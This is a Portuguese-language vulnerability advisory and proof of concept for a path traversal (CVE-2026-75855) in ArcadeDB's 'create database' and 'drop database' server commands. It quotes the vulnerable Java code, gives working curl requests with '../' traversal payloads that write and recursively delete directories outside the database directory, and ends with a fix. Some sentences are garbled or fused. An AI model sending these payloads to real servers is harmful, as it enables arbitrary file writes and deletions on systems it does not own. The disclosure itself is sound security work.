
Prova de conceito para CVE-2026-75855, uma travessia de caminho nos comandos create/drop database do ArcadeDB que permite gravação e exclusão arbitrária de arquivos fora do diretório configurado.
Path Traversal nos comandos de servidor "create database" / "drop database" permite escrita e exclusão arbitrária de arquivos fora do diretório de banco de dados configurado
O endpoint POST /api/v1/server usa os comandos create database e drop database com o nome do banco de dados fornecido pelo chamador para construir um caminho de sistema de arquivos sem sanitização, normalização ou verificação de contenção. Um usuário autenticado como conta root do servidor ArcadeDB pode fornecer um nome contendo sequências ../ para fazer o servidor criar (e posteriormente excluir) um banco de dados inteiro — arquivos e diretórios arbitrários — em qualquer caminho absoluto do sistema de arquivos ao qual o processo do servidor possa gravar, completamente fora do arcadedb.server.databaseDirectory configurado.
Isso foi verificado ao vivo, duas vezes de forma independente a partir de um estado limpo: um comando create database manipulado gravou arquivos reais de banco de dados em /tmp/ e, em um teste separado, em ; um comando correspondente com a mesma string de traversal excluiu recursivamente o diretório.
/etc/drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
A única validação é uma verificação de não-vazio. databaseName flui sem modificações para ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
Isso é concatenação bruta de strings, não um Path.resolve() com verificação de contenção. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) nunca chama .normalize() nem verifica se o caminho resolvido permanece sob o diretório base pretendido antes de create()/open() gravarem os arquivos em disco.
dropDatabase() tem a mesma falta de validação, e como o servidor rastreia o banco de dados sob o nome literal (contendo traversal) fornecido pelo chamador, um drop database subsequente exclui recursivamente qualquer diretório para o qual create database gravou.
checkRootUser(user) é aplicado antes de ambos os comandos, portanto isso requer a conta root do servidor — mas root aqui é o superusuário de nível de aplicação do próprio ArcadeDB, não necessariamente o mesmo nível de confiança que acesso de shell/OS ao host. Quebrar a contenção de databaseDirectory permite que essa conta de nível de aplicação grave e exclua arquivos arbitrários em qualquer lugar onde o processo JVM tenha permissões de OS.
Ambiente: ArcadeData/arcadedb @ commit 545e703, compilado a partir do código-fonte (./mvnw -pl engine,server -am install -DskipTests), executado standalone com arcadedb.server.rootPassword definido e arcadedb.server.databaseDirectory=/databases.
Confirme que o diretório de banco de dados pretendido está vazio.
Envie um comando create database com um payload de traversal:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — um banco de dados ArcadeDB completo e real. O diretório databases/ pretendido permanece vazio durante todo o processo.
list databases retorna a string literal de traversal como o nome registrado, confirmando zero normalização:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
Repetido com uma traversal mais profunda para /etc/arcadedb-poc2 — obteve sucesso de forma idêntica, demonstrando que a gravação não está confinada a /tmp ou a qualquer área específica do sistema de arquivos, apenas ao que o processo pode gravar. Também reproduzido com uma traversal mínima de nível único ../, confirmando fuga real de caminho em vez de um resultado coincidente.
drop database com a mesma string de traversal exclui recursivamente o diretório:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; diretório confirmado como removido posteriormente.
create database) e exclusão recursiva arbitrária (via drop database) em qualquer caminho absoluto ao qual o processo do servidor possa gravar, totalmente fora da sandbox databaseDirectory configurada.Rejeitar nomes de banco de dados contendo separadores de caminho (/, \) ou segmentos .. diretamente (uma regex simples de lista de permissões, ex.: ^[A-Za-z0-9_-]+$, é padrão para esta classe de identificadores), e resolver defensivamente o caminho final com Path.resolve(name).normalize() e verificar se ele ainda começa com o diretório base configurado antes de qualquer operação de arquivo, tanto em createDatabase quanto em dropDatabase.
Crédito: Pervin Zahidli (@ech0void )